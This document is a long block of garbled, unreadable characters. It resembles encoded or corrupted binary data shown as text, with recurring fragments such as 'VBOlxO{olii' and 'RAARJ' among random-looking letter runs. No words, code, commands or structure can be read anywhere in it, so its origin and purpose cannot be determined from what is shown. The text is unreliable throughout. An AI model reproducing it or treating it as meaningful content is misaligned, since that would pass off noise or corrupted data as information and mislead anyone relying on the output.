D\O{Doo[lrooT`Too{[FlOD{_mxOO{x_[iiT`TDl_Ob{[iiT`TT`TVl[{}{xO{Oii_Txi[iih{[FlOD{_mxOO{x_oo~ipNT`Tpooi__{T[{[iihSm{[FlOD{_mxOO{x_{[pT`Thi`lD{i`lD{Dl_pT`Th[iih{[FlOD{_mxOO{x_h{o{ODihSm{[FlOD{_mxOO{x_{[hT_x{{DhVBOlxOhxBTBNh__@hgDhhg`lD{hUhlii{NhgCdEIdSi`lD{hhphgCdEIdSi`lD{hwhlVhNhg`lD{haUUhhnnhVBOlxO{oliiNhiVbVl[{_hhhgDhUhiVbVl[{_NhgDyhg`lD{hRAARJT_{OwwxBTBNhgDhVb\cuBioB|ZOPvux{uZVl[{iDD{D`O}{D_{{Ob{}{_Oil{Oi_{x\{_`{Ri_[{OVl[{}{xO{Oilii_lO}iBTD{rDlii_lO}i_TxiiBri_i_Txilii_lO}i_[{ObDbDi{_Oil{Oi_{x\{_`_x[{_{x\{_ixB_{{bT@i_{x\{_`_x[{i_[{ODl_Ob{Vl[{}{xO{OiVBOlxO{oliiVBOlxO{oliii{_Oil{Oi_{x\{_`{R|Ti{ODO{|Bi{_OxlVllxOxDblO_{B_OV[i{|TO{|Bi{_OxlVllxO{bl[DblO_{B_OV[i{VBOlxO{olii_{bx\{lxO_{}li{_O{|Bi{_|Ti{ODO{|Bi{_OxlVllxOi{DlBi{__{{DBi{_|Ti{ODO{|Bi{_OxlVllxOi|T[x}lO|TOxlV@DblOO{|[x}lO|TDrTrl[ll{idmhBAyhBBi{_[x}lOyhBBi{_TiiyhBBi{_{bl[hFEYhhBhAhEAhRAARJhbhEhBAhUhbBi{_lDh	Ghbb{R{@hUhzihIhbb{\[B{hdAJhzizDblOli_x_zxVBOlxO{olii|T}{O{_{B`xxRl{	S{iilxOxR{Oii{B_{B`B`SmKIKGmEEJAIKGmEEJAdECCAmEEJAmEEJAEYIA[_lbmEEJAIGIYAmEEJAIGoo|T
DblOKFIdS|Tbl[liiB{DBi{_b{i{iilxOxR{Oi{oTl_lxOxBO}{lOiO{|T}{O{_{B`xxRl{[x}}{DlOK|T}{O{_{B`xxRl{VBOlxO{oliixxRl{i|Tbl[lii_lO}lii_lO}rBrTli__@b{`xD{olii`iTlii_lO}iiOxlO{_{Tlii_lO}lOx[x}lOVoo~
Vv
HykvtgooRAARJlii_lO}[D_`[`VkTiDlbcbR}BWvROli__@{oT[xD{`VkTiDlbcbR}BWvROi_Vl[{TBxO{Oii_[{ODl_Ob{liDl_lxxblOxDl_hri{Ob{xblrDT`Thli[lORliVl[{li[lORVl[{il{VBOlxO{oliilxxblOx{bTObhri{Ob{|rV|_l{VBOlxO{oliiVi@Oxbl{bTVl[hxbli`x_|_l{hliVl[{ix[DliVl[{liVl[{xbl_{Ob{Vl[hi_[{OVBOlxO{olii`i`Vl[{iBri_lxxbl\{_lV@Vl[hlii_lO}bDxbl`l_DT_@hVl[{TBxO{OipliVl[{V|}ki[o{TB |Z@Z@HO`i_TxiiTrURAARJ|T_{bx{}{_{Dl_{lxOm`{
mxO_x[Ox
`{VBOlxO{oliii[{{T`{D{_iooOpAVYxDB[{hbxDT`Tv
siT`T\[B{hBxT_{T{ODVl[{~O~OOooAVYxDB[{sOpoolooOpAVYxDB[{h[l{iT{{DsiT`T\[B{hBxT_{T{ODVl[{~O~OOooAVYxDB[{sOpoolooOpT`T\[B{hBxT_{T{ODVl[{~O~OOpoolxT`{}{iBixT`{{Or[{D|_l{Vl[{Dhi_[{Ori{Ob{VBOlxO{oliiV|_l{V[xRVBOlxO{oliii{_Oil{OiDblOlRiDblOlOV[l}`VBOlxO{oliiD{[{{_Oil{O}{xTlxOrBVBOlxO{oliiBi{_Ob{{oliiDblOlRrB{obT[{xbVBOlxO{olii|Ti{Tii|x_D|Ti{Tii|x_DrBDblOx[[lilxO|TlOi{_Bi{_|T
lO[BD{iooBi{_T`TBi{_[x}lOBi{_TiiBi{_{bl[DliT[@Ob{|TDrDblOOx|TDrVBOlxO{oliiRAARJ|T`i`Tii|x_DB__{Olb{b@iZ[
b
DhGwlwiBi{_Ol{Ob{Bi{__{}li{_{DBi{_iBiDliT[@Ob{zizDDblOiZ[lOi{_Vl[Bi{_lDb{R{@b{\[B{zDziBi{_[{\{[[{OBi{_`{\{_lV@Vl[}{Bi{_r@[x}lOBi{_Oli__@DblOli_x_T\{_lV@Vl[|TD{[{{Bi{_ISIGVl[{{olii|T
DblOoolO[BD{iooBi{_T`TVBOlxO{oliirBi`lOlixrW{ZB{_@|`{_{hIhBi{_[x}lOhaUh`lD{ZVBOlxO{olii[[T_{}b`ooNNDqooooNDqoo`lD{OrB[x}lOOxlOli__@[x}lOOxlOlO__@[x}lOOxlO`lD{_{iRAARJl\{T[B}lOiDl_Ob{T`TliDl_T`lOVx}{xTlxOi@[{i`{{{bT[{oo`{b{i|T
xO{Ooo`{b{i__@Vl[{_i_TxiT`lOVxooT{_OiliDl_liVl[{Vl[{}{xO{Oilii_lO}lOW{klOW{liDl_oo__@b{_}{__lbooDl_Ob{Dl_Ob{Dl_Ob{Dl_Ob{oo`xb{oo\_oo|||oo\_oo|||oo\`xiioo\_oo|||oo`b[ooi_\oo|||ooi_\ooBi{_iooBi_oo[x[oo|||__@BOlZB{__@Vl[{_li_{Dr[{bl_xlb{__@b{_}{oo|T
xO{OoobB
T[B}lOioo|T
xO{OooT[B}lOili__@lOi[[{DiiT_{DlO{_\[iT_{Di_lO\[lDiiT_{DO_Ox_xxiRAARJiiT_{DO_iiT_{DlO{_\[liDl_liDl_li|_lr[{i_[{OT`lOVxoo|T
xO{OooT[B}lOiooiT_{Di_[{OiiT_{DlO{_\[oo|T
xOVl}T`TDl_Ob{liVl[{ooD{VlO{iNiIYiyiN~qoooor[{T_{VloiUiN~qooT_{}b`oo~
I
^v
qgoo|TDrb{`xD{oliioo~
I
^v
g
qgooDrOb{_{W{{DxTlxOiSIhISImAEdmhxTlxO\[B{hFEYhh	GhxTlxOOb{hUhl\{T[B}lOihdAYAhkhFEhKIEddImJEddImJmEYYA__@\[B{ii{_l[l{IhhShxTlxO\[B{hUhzih	GhxTlxOOb{hUhBTD{Vl[l\{lixrW{EddImJ|TDrTX`_BuFVq\vdCXlDOG`vVEXROdo_OGkSF@^lXFi}x	^Gk  iIOo^D BWYmeBBVVFvvP@X}_Y@RXV`ZXRHioo\`C_PomrooSe`]_doeDxmIBikI[{^uqFOi`F[@XA`B}_SC\\]ko{Hoo@oooi|ZeJDBu ZKZ|KYbocB\o|cvReHROHooc	XSYA^b	oor|Rirb|c|	rcvR{`\SrWlYooooovk_{	Ooo|bex]bHkDxbF\cm OO}YWZD]BJv}cVZ_c[CDeWuldPCbXqKBXWqJXE{cbXA]|EGb@Do}ooqK^rlHcc 	croo AuFSIA|`xoGbKWm\P[R ^OdPBBkibkkRuZJqck``V`ck Yoo@[V \v{Ooom OG|mb`	AH{iBmIvoo^	_`oREvTb`FbKd cB|IWWPu\@TJiORS_P \S{}{]GHdXoomAEoiDR@DKlWcAVZYdBdE^BAZrC {Gqr@qKB^r}[AeKlxvkJZbe\ORcZA`[c^AWcAlPSm[KVBPbk@xlHkk|WmqmEBR@	mqXTkAqR|\cI	WmD]qR_AXSe}RIi_@IrqGdqK[A}\EAlPR{AvHoqV_}ZYoR	iCYYZX}S|qSkbC^d	Z	VWKI	moo]BOOkl_[Jrb]PD[_voo|Zx	dP}iKKikZ^iK_IvTqSmIuKloHJXTA`P_uCHkVCm OZTEXYH{\EOdiJ^l{OAcAXxmqR	`i^Bu Foo u_CvcY^S	`ioxJRoobeWoo{v|\\OmSVJ iFHV{K]\	kiqAE`uOVoo}c|kk[TSTooYr_\l^ VXDrOJkmrWo|r\T^]V_`}e}{}DcZrJrboDl\GrOm|KkFDoY}G Dr]P RAEu	GoolYuIieddkooT]uX{bG|ceF|YVvoKPoo[PAe PK{P|RX{EBCqRv\YPTR|dXT}FcmT] q|qoo oombqq\EGST}Tb_GTbvRooWb	BP XKEIJBRvcuDF `_^\EqBGKRDK|}RW`]GPJ iXTVe`_VPk\PXooI@PVWvTRc@O]ume	|GR[R_|KbD orC|oEoc@ToBlmxRARvxDRPqEJD\DTo[D}HuboouK`v|[e}_kAidiPR }WDiS^K]^cTWZFBooVCBYd}{I[FWCocJxCScGX\`GooHZmPc	]Xx\`EHBTFX_|VcYkDi|dxDl]iiuov@TRElOVqBJ]V`uGkooXd^`EXdrZiik^|booi[RRJJioovoo}cv WB@YJicd}di{vGPqI`P^EHW_ADoCTTb_	O_bXBe Ybo@ImSV}F @X	kD_c^JKP	[R@EvJ\^^@@}uT{quV_xV[di`T^Fb_YAkVA\\[or	[A{_AclRxrb\A\mOrW|oo ooAruYJrTGJ}@xWP[ebo`I]`bKVIic[I[J}ElblGxAkJ`b@iZJmTKWeVckXOSvSSDGYk@G`[HWBH]{HPFH^ooS[[ERTZPFd\Iooe_P_IbGE ]]]JiDTIWiX{\_DV@eBo ouqF|d|\mY@uPF^YSxZud[I_  _SPoY[|Yu\PS[GAPooDCGoOuiA]\@V\VX[\XYkuG`HZi]rdr}rYHF ]F	Tq`iFTr^XFJXXHBK`IHZVFibY	_}I^EcA`uOVH@OEleEirR\K]FA^ CXcmv]o|FKKVPlmrooTAZA}`JHI[[odJvZ DIudHBqxVHcKHr^CZPq` rm [ {YCmKIxPiFoToDHI^mqIc_[K\kl{k}A{^|qoomxo{GbExK`c[mqXBeX^CvJWP[rXc}@bxdu|OWSIEvVGooFY[ FqRD_uuv|SSoo`[X^X[eOcoik}Rq`@BY]`|u`E}kG]ooXRk[^dl\^kI\HViiAA_{ovGdo{AGGVV[HJK	oq`iuBZZBFkCixE}ZACxX`[koPGm^`WqXScTDJkG{ ^]X_oX@_eE[md[TKo[ `BbkDr [ODYe_oodo	KooK[C}mkSKq@ooK|`@iT|]oouORxqJEXWooWS]cEooW||G[olJX{e{V}STWcXVCb]VoVVvFCmdu\viB[XqJFq[o`rP]AJ YR[GEZXuxHxTP	bY[HBm^WvRSvlb{^DSEGFrmWqSOBFqVJe@IYFIE[{|SDAIY`C}dv{B@_GerPCTRe	WH}\^KCbYZ@	BFE ATWK{DmAT`ZdAiY[c\]CFxYDV rrHdKZdOTJkSv|Zeb kYXS TAEZDGooucP`@E}@qKeSD}ETmdC ]C eo	JPF]ZorKooH`^^OEX@i{ O}Zoo_OAEF	ZrAkeAe	YPm SFKB` HVxJTR@WbI[YkDTWb]A ST{EvODd|kFV@[ooS A}O	WVVFRbBXYve{xG_{BA|rqo {ZI`O[]Y\x @HcuTET	`SITk`RrVqWvO|VBYW`WkW|HGP	ORkTvoiXJ @bmH]IeekcY{BK{mZvJooq^u\|YAqBqi`DE]elZ[SHbqA^[oo`x@rd\^SBvVO^HiYevSC}TPCooJTdK`vb@	__\xuqID}JKHB |CqO}W^PC	u_}XoxZd\W`|UUlii_lO}i_[{Ori{Ob{lTlTlOixO{OB_[VBOlxO{oliiRAARJoo|T
xO{Oi__{T[{`Twoooo`TiwoooopTU`TiwoooooopTU[_lbf~`Tipwoooofii|iT}{iT}{i_[{OOxxO_i_TiDblOi{lTK_[i[B}lOi[[{_K_[|_l{J{@|RT}{mxD{i_\R{@i_[{Ori{Hu{OxD{\_hSmEEUSET_i{NxrN\_hSmmUi|xOVl}Oxi|xOVl}il}i_x[x|{_i|i|[_lbT_{}_{T[{f~`TipwoooofOxi_[{OliDl_li|_lr[{T`TlOiT[|Ri[iV{`ilOiT[bliilO}Vl[{{oliibDRAARJi|lOii|VBOlxO{oliii_[{Oi_[{Oi_[{Oi__{T[{EJIS}{_Oil{Oi__{T{ii|ii|i_x[x|{_Vl[{{oliii|i{BTT`TiTlOb{lOiooilOlD{D__lb__lbVl[{}{xO{OiT_{}_{T[{ooOpBxT_{T{ODVl[{iUip~_O~_Op_pOpoolilOlBOlT[bliilO}bDlii_lO}T_{}b`ooBxT_{T{ODVl[{iUiNpN~_OqkoolOxO{_@jlO[BD{xO{h\_{oTx_t`N`_x|r[{hg{t`No{TlxOhg{thgiTUDl_Ob{NFAdoolVNjliVl[{NgiTgiUjVl[{}{xO{OiNgiTlVNlii_lO}NgilVNi_[{ONgiskvucPHgiUT_{}_{T[{NooNOoov

VkvvvytooqgooyygilVNlii_lO}NginnbDNgiUUU_@jlO[BD{xO{hgiTt`N`_x|r[{hg{t`No{TlxOhg{ttBOi{NgittBOi{NgiTlOl|_TliVl[{lOlilOlVl[l_BlxT{O__lbooVl[{}{xO{Oi_{DVl[{DRAARJiBri_BxT_{T{ODVl[{hUhilOlT{ODlO}OxilOlVl[ilOlVl[OxlOlT_xr{vvilOlVl[ilOlD{DOxlOlSmIKESmGlOl}{Bi{_lOl`{[lb{OxT_xr{D{DISIGT`TiTlOb{oo`{iiETlxOih
AOD{o{iFl[{iY`hNlTQ[x}QiZ[gsAVYxDB[{hbxDB`x_{s{ZBl_{h[[hD{Ol{DooAVYxDB[{sAVYxDB[{habxDB`x_{s{O@hV_xbh[[ooFl[{iY`sVl[{{oliiVl[{}{xO{Oi`_{DVl[{Di_[{Ori{Ob{``T[bliilO}VBOlxO{oliiooVl[{}{xO{OiooBxT_{T{ODVl[{iNpwUQiiNpN~_Oqkooloo~pT`ToopT`Th_@jlO[BD{xO{ht`N`_x|r[{hg{t`No{TlxOhg{tlii_lO}T_{Vl[Vl[{{oliilii_lO}RAARJi`D{D`[xD{_liVl[{Vl[{}{xO{Oii`Vl[`T`T\[B{hBxT_{T{ODVl[{VBOlxO{oliiVxT{OV[xRVl[{blb{Vl[{{oliiVl[{}{xO{OiVBOlxO{oliiliVl[{V[xR`hhxBOi`D{Dlb{Oxl_BlxT{O``ISIG}{xTlxOxTi_[{OGESKSISS	EIYb@iZ[lKS|TxTb@iZ[lwhiBri_xoo|T
xrW{
`{
DSmkri{HuD{xD{i_[{Oli__@VBOlxO{olii}D{xD{VBOlxO{oliiRAARJi_[{Olii_lO}i_[{OiBri_oo~pT`TiooxboohSmEmCAwhoooohSmEmwpT`Thooh|T
xrW{
`{
hoohoohSmEmXwO_@_bVl[i_TxiSmEmCAi_Txi|T
xrW{
`{
T_{}b`ooSmEmXwNDqDqDqooxT_{}_{T[{ooOpoohSmEmCAwN
I
^v
whoopoohSmEmwkhooOpooixx_{lOiTxooh|T
xrW{
`{
xVl[{}{xO{OiT_{}b`oo~SmkwNDqDqDqwooixDxRDx__BTSmkwbDOxxVxRi`bxTxT{OVBOlxO{oliiVxRISIGi_[{O`i`i`HSmSGYkwi`bxTil{i`bxT_{Dlii_lO}i`bxT[xi{RAARJi`bxT|_l{i_TDi`bxT[xi{i`bxT\{_lV@Vl[i`bxTD{[{{oopT`TooliBri_lii_lO}oo~iND{[_{iNpiQOb{iT{iq~qiooliiBri_VBOlxO{oliii_{lOi{oT[xD{lb{lb{i_{lOiD_xTlOB}xV|_hVBOlxO{oliilO\[|TDrSmIXdD\T[i[iV{`iD\D\T[bliilO}Vl[{}{xO{Oilii_lO}D\boohSmIXCAwhoooohSmIXwhoooooohSmIXCAwN
I
^v
whoopoohSmIXwkhooooiSmIXdEIi_TxiT_{}_{T[{oohlViNiD{VlO{DiNiSmIXdEIiii_{B_Oi~_OooT_{Vl[T_{}_{T[{D\D\ISIGVBOlxO{olii[li}B_Dli|_lr[{|T
lO[BD{iRAARJoo}[oo}olb{oo}|T
lO[BD{ioo|T
lO[BD{iliVl[{liVl[{Vl[{blb{liVl[{liVl[{oo}\Vl[{}{xO{OiT_{}b`oo~DqDqDqgoooo}iVl[{}{xO{Oi{oT[xD{}B_D_{TiBiT{{DOxiBili|_lr[{ooT[B}lOiooT`TT_i{B_[GGESooT[B}lOiri{Hu{OxD{ri{Hu{OxD{}B_DT[bliilO}}B_D}B_DT[lO\[lDoo}bi}B_Dlii_lO}iBri_xBOiBri_xBOi_[{OiBri_li__@`_DliRV_{{iT{	mEAISIGVBOlxO{oliiiTDxVViiTDxVVib_ODpsVBOlxO{oliiRAARJ_ODxbr@{irlO`{oi_[{ObDoolii_lO}ooN_pOoov

VkvvvytooqgooVBOlxO{oliiVBOlxO{oliiix|Obix|ObOlV{ili__@ix|Obi_[{ObDlb{li__@Oxix|Obix|Obix|ObbxDlVl{DVl[{}{xO{Oii_[{ObDVl[{il{Vl[{}{xO{Oii_[{O[{}@i_[{Ooox|Ox|Oix|O_{iBri_li__@_{Z_{ZxRi{rxxi}{OT`i_irxxieKSAYVBOlxO{oliiix|O_{Vl[{TBxO{OipT`TT`RAARJlii_lO}Vl[{il{D{DrxxirxxixRBOROx|OliVl[{Vl[{}{xO{OiT_{}b`ooNoov

Vkvvvytooigoori{Ob{liVl[{_lbVl[{}{xO{OiVBOlxO{olii}{xTlxOVBOlxO{oliiBTD{xTlxOiD{V{__{DD{[__@i[l{iD{V{__{DD{[}{xTlxOVBOlxO{oliiiD{V{__{DD{[liVl[{xT`{lO\[lD{liVl[{Vl[{_{[T`_{[T`ISIGVl[{}{xO{OiliVl[{[R}Vl[{}{xO{OixT@T_{}b`[[oori{HuD{xD{NiNI
^
v
qooUkvvvytiooT_{}b`[[ooNpw}D{xD{Q}lOV[{Q}BOxbT_{iiNiNNpw~Npw~ooiooooNv

VI
FtooloO`|{\_|k_k@Vccxv`ooNpw}D{xD{Q}lOV[{Q}BOxbT_{iiNiNNpw~Npw~ooilii_lO}}loO`|{\_|k_k@Vccxv`RAARJi_TxiloO`|{\_|k_k@Vccxv`lii_lO}T_{}b`oooohSmXwNDqDqDqhooooi_[{OhooiBri_iBri_oo~
I
^v
wqgoooohwhooi_TxiiBri_i_[{OISIG`boooohSmGCAw
I
^v
whoooolii_lO}SmG_PPxZroTv}i\}_@_coSmDocuP@`lW{b{WP@ooooooSmGd
Vv
q_pO~Ogoolii_lO}_BV[lTiO@\llWSmooooooSmGd
Vv
q_pO~OgooISIGT_{}b`[[oooohSmGCAwN
I
^v
wqhooooiBri_bDDDT_{}b`[[oooohSmCAwN
I
^v
wqhooooi}{xTlxOiO_@li__@l{bili__@`i`{ZB[i_{}li{_i`BDx|OVBOlxO

sVBOlxO{oliii[rbxD{RAARJi_Txir[lODli__@ii_l{iil{biO_@rR|_l{Vl[oo`rrRl{biiil{bi`ku[lPBxRbxb|T_{bx{}{m`{
mxO_x[Ox
ix_{yhOx
`{_}b|T_{bx{_{_l{\{_{iTxOi{xD{|T_{bx{_{_l{\{rxD@xT`{lO\[lD{VBOlxO{oliiiO_@[l{iT{{DVlOli`_{ZB{iVBOlxO{oliil}Ox_{Bi{_rx_VBOlxO{oliili__@BO\{_lVl{DR{{ThpiU_|B_[{OxD{n_Ul{bi_x[[rRvvhri{Ob{i_Txia

SmJwiU_x[[rR[x}lOvvhri{Ob{l{bi

sl{bil{bi_l{ir[lODQ[rr[lODRAARJl{bii[rbxD{lii_lO}xRxRQl{biiVbSmGCAi_TxiiDSmXwooSmNpwQIXQEmCAwNDqDqDqooi|{{TO{B_[l{Vx_{l}OiRlThVl[{TBxO{OiVBOlxO{oliiVl[{}{xO{Oii_[{OoohoohSmNQIXQEmCAwN
I
^v
wqhoopoohSmkwhooh_pOpooilii_lO}iD_{Ob{lii_lO}T_{}b`ooliVl[{NiN~qiooliVl[{i__{T[{__lb	mEAooi_Txiri{Ob{i|{{TDDrVx_{l}OiRlThli__@bxRS_\J{@
|T
xOVl}T`TDl_Ob{liVl[{liVl[{li|_lr[{Vl[{}{xO{Oi	mx_{AO{}_l@oobTooT`Ti_Txi	YAibTVlo{DVBOlxO{oliiooD{VlO{iNi	mImGoo	mEARAARJooD\O{D
`{T`TVl[{}{xO{Oii_TxiSmIXCAwi_TxiooD{VlO{iNiISIG~OOD{VlO{Nh	mImGyh_B{hOooT_{}b`ooD{VlO{iNi	KCiyi_B{ioolooD{VlO{iNi	KCdECiyi_B{ioolooD{VlO{iNi	KCASdIiyiV[i{ioolT_{}b`[[oohooh	mx_{AO{}_l@hN
Vv
qhoopoohOD
	mx_{AO{}_l@hkhooh_pOpooioohooh	mx_{AO{}_l@hN
Vv
qhoopoohOD
	mx_{AO{}_l@hkhooh_pOpooioo~hlViNiapiVl[{{oliiNioobTooT`TI
^
v
q~OONhlViNigxnn~OOpooblbT[xD{T_{}_{T[{oo~hlViNiapiVl[{{oliiNioobTooT`TI
^
v
q~OONhlViNigxnn~OOpooblii_lO}ooD{VlO{iNiISIG~OOooooND{VlO{iNiISIG~OOoogkT_{}b`ooND{VlO{iNiISIG~OOoolii_lO}ooND{VlO{iNiISIG~OOD{VlO{Nh	mImGyh_B{hOoolii_lO}T_{}_{T[{oo~hD{VlO{iNi	KCNdECQASdIpiy~OOoolblii_lO}lii_lO}|TT_{}_{T[{ooND{VlO{iNiISIG~OOD{VlO{Nh	mImGyh_B{hhoohSm	mhooOoogk{bTObi|_{Ob{ooNoobTooT`TI
^
v
qooi_TxioobTooT`TooxTlxOOb{iUiN~qoooo~il{_Oil{ON`{[`QV{{D
Vv
qgoo	YKdKCAA}[xrooT`TiBri_x_{T`Tlii_lO}Vx_{l}OiRlThRAARJri{Ob{xVVVBOlxO{oliiDl_Ob{Dl_Ob{ri{Ob{}[xrooooVBOlxOiT`TVl[{il{lii_lO}SmCASmGdlii_lO}ooD\O{D
`{T`TD{[{{xTlxOVBOlxO{oliiZr|xoT}D}bTbokZxlii_lO}lii_lO}lDDlWR}c[x|rVBOlxO{oliixBxuRbv{@ Tv\Rc`l{|V}xPZ}lRW|{i_irxxRrxx[{}@R{x\{_iT{_ili{D}{xTlxOil{bili__@_{}li{_i`BDx|OVBOlxO`ku[lPBxRbxbliVl[{`[T`T[lO{w[lO{wlOl}{Bi{_lOlVl[{Ob{T`Too[lO{w[lO{w|T
xrW{
`{
iT{_ilibOlV{iiil{blb{RAARJooQ_NDqgooiBri_i_[{OiBri_i_[{OliVl[{l\{T[B}lOii`lOooDrT`TooVBOlxOiT`TQ_lb{iBri_Qvlb{iT{_ilibOlV{iOxT{_iliil{il{rl}wVBOlxO{oliiT`T[D_T`TooDrT`TSmwkhooooiVl[{}{xO{OiT_{}b`ooSmEmXwDqDqDqooiBri_ooOpoohSmEmCAwN
I
^v
wqhoopoohSmEmwkhooOpooi	mEA[R}ooBT[xDioooooooo`{b{ioooo}[xr}[xrT`TT`TlO\[VBOlxO{olii}[xr}i}R}T}}b}\RAARJ}iB}_Doo}_T`TliVl[{i_TxiT_{}_{T[{T_{}_{T[{T_{}ZBx{~OOpool|T
xOVl}T`Too|T
xOVl}T`Tli|_lr[{Vl[{}{xO{OioohD{VlO{iNi	mImGiyi_B{iiioohSm	mhooh_pOpooxB`Bi{_lOlVl[{}{xO{OiooBxT_{T{ODVl[{iUT_{}ZBx{Ooollii_lO}__@DlVVpT`ThliVl[{SmG_BV[lTiO@\llWSmVBOlxO{oliii`bxTxT{OVBOlxO{oliiiO_@l{bili__@i`Vl[ilOlD{DD{[{{_Oil{OVBOlxO{olii_o@uDioW[ bT_| i_xO}B_DlO\[lD{T`TVl[{}{xO{OiDrboohSmCAwhoooohSmwDrboooohSmCAwN
I
^v
whoopoohSmwkhooooii_TxiRAARJSmdEIoohlViNiD{VlO{DiNiSmdEIiii_{B_Oi~_Ooolii_lO}SmdDrDrT[bliilO}_{lOiTO_@_bVl[}{xTlxO	mEAoo`{b{iooooVBOlxOiT`TVBOlxO{olii}{xTlxOoo`\rRliVl[{\Oli`_{ix_{Di`D{DOxISIGoohSmGCAwoohSmGwSmGdiBri_bDri{Ob{`{b{T[bliilO}T_{}_{T[{VxT{O`{b{VBOlxO{oliiV[xRi_[{Oi_Txili|_lr[{SmGll_l\_`ZPx@ovT_{Vl[i_TxiSmGCAi_Txix_T`Olii_lO}Vl[{}{xO{Oip__lbps`{b{i_[{ORAARJi_{bT@[ii{olii^lTI_`l\{ooBT[xDiooD{ooboo^lTI_`l\{^lTI_`l\{VBOlxO{olii|Ti`{DB[{{\{OVBOlxO{olii|TO{oi`{DB[{D`xB_[@_xOi{BTZZZ{_RvT{i_Wib}lb{oo}oVl[{blb{lb{liVl[{Vl[{il{oo}bbDVl[{_xO}B_Dri{Ob{Vl[{}{xO{OirW|}iOi\DRWil}`W}xBWVBOlxO{oliiliVl[{T_{}b`}{xTlxOVBOlxO{oliil\{T[B}lOibD_xO_{liVl[{Vl[{il{GookkhuvuhxhFxBODi|VBOlxO{oliiii|{T`liii|{T`liii|{T[ilb{oo~iNpwNQooQooooQ\_hQ[{hQxOihQVBOlxOhQi{[Voooo~I
^
v
qooU_Oqgoori{HuD{xD{xr}{[{\{[mxO{O
@T{whTT[llxOooW\i_lTS{_\l{
	x_R{_
I[[x|{DwhooRAARJGookkhvuhxhmxO{OGAFEYImG_lbGAFEYImGGookkh vuhxhYxDlVl{D}whm`{
mxO_x[whOx
`{i|{Ti\{_lV@i_x[x|{_VBOlxO{olii`xb{B_[T_i{B_[VBOlxO{olii}{xTlxOlii_lO}oowDqgooQ\{_lV@ii{bOlT_xr{QmxO{O
@T{wh{oooT[lOm`{
mxO_x[whOx
ix_{SmSYwSmSYFIAd\{_lV@{T\{_lV@{T_xR{[{ODxblOVBOlxO{olii| V[Bi`[[VBOlxO{oliii}`{T_{iiTB_}{`{[l{iT{{DTB_}{[[dl{ST{{Dm`{IATB_}{[[_{{{B_}{m`{b{`xD{oliir_{{{`{V[Bi`m`{Or[{_[{_x[`{|TV[{_[[`{|TVi{i`{lixrW{|TVi{i`{b{`xD{olii|TVi{i`{D{[{{m`{|T`{[{_`{BxTlbl{m`{[{_[[TB_}{xOWi`O}{VBOlxO{oliiRAARJliDblO|TDxlO}WoSeKS]YdmeKSVBOlxO{oliiliV{{Dli_xrxiliil{bTiVBOlxO{oliiliBixbl{T_{\l{|{[{b{Ox_
T_{\l{|Bixbl{`O}{i{BBlDV[rBl[D{_lii_lO}ooi_lTooi_lTi_x[x|{_iBri_VBOlxO{oliiiWiT_lOOx{iWiT_lO{Dilb{lii_lO}iWiT_lO{DoorxD@s`b[iWiT_lO{DoorxD@siBri_iWixriWixrxri_\ZPBbxZcTc` Z_kv\WixrT}{Ox|T}{Ox|Wiii|`Dii|[iB_[i_lThD
i
\_hDUVBOlxON`\_h_UylVx_NlUvl`[{O}`lqU_qUS_lO}V_xbm`_mxD{NT_i{AON`iBri_NlyykH_{B_Oh_tyi|UO\l}x_DNi{_\l{	x_R{_y[BUlVNi|i|DN}{{}li_lxOiN`{ONVBOlxON_i_iVx_`NVBOlxON_\_hbUa[BlVNabDNl\{RAARJyDN|llO}yDNlOi[[lO}Vx_`NVBOlxONRlVN_Rnn_RDNi_lTKdUUU[BbUktlVNb_DNBO_{}li{_NttDN`NVBOlxONtooi_lTs`Tiwoooo`TiwooooOxi_lThD
i
\_hDUVBOlxON`\_h_UylVx_NlUvl`[{O}`lqU_qUS_lO}V_xbm`_mxD{NT_i{AON`iBri_NlyykH_{B_Oh_tyi{_\l{	x_R{_lVNi|i|DN}{{}li_lxON`{ONVBOlxON_lVNa_i|DN_{}li{_NyixT{wtDNNVBOlxONttDN`NVBOlxONti|DNDD\{Odli{O{_NDNyVBOlxON{\_h\U{DNDlVN\nn\_@O{|hFBOlxONxrN\Nt`Nottti|DN_{D@`{ONVBOlxON__DNDNTxiY{ii}{Nw_ttti|_{}T_{}b`oooohSmXwNDqDqDqhooooRAARJli__@T`TT`TT`TVl[{}{xO{Oii_TxioooohSmXwNDqDqDqhoooori{Ob{xT`{lO\[lD{Vx_{l}OiRlThri{Ob{ooiDri{Ob{BO[lORDl_Ob{T`TVBOlxO{oliibB
T[B}lOiVBOlxO{oliiri{Ob{}{il{xTlxODl_Ob{oorD{oT[xD{BO[lORVl[{il{T`_{[T`T`_{[T`VBOlxO{oliiiBri_T`TbDSmmEEESIoo~DqDqDqgoosUirxx\{_VBOlxO{olii[{_i`{Vl[{blb{SmmEEESISmmEEEXVBOlxO{olii{_D`V[riD\lTu}ii[D\`bcHRV@@kri_x[x|{_T`lOVxVl[{il{i`BDx|ORAARJWoc uPBT[_ilOW{_B[{ivD}Ox{l__rrvb\ouoPWTPiiT`T_lbxB`oorri{Ob{xVZ\ROkr[_ D\`{u[TOBWr_}}O\@}[xD
T[B}lOiT`TDblOlOlZ\ROkr[_ D\`{u[Tx}x`_[Zb\P[\rZDblOlOl_ZW}@D_ci|x DblOlOlcc}WRlOl@x|WTV`cWPHHiP[B_|TVb{[VlOD{_xOO{x_xTiD\cuuPZHoOW@Dc |TVl[{bO}{_xOO{x_xTiD\cuuPZHoOW@Dc {[VlOD{_xOO{x_xTiVl[{bO}{_xOO{x_xTiB`{Ol{_u`D`bkTxb[Pl|T[x}lOOWHDD|P_|x`Vu[T_{Bi{_ZB{_@i`{vbRxr@b __{iBi{_ZB{_@`O[B[iiTZ|Z}x{RHv\l{|iBi{_ioolk_vv }}xucDD{rB}lOVx_blxOo`rucl}k|{}`xTDkoi`x|D\O{DT[B}lOiRD{@ZBODiT_DblO`{D
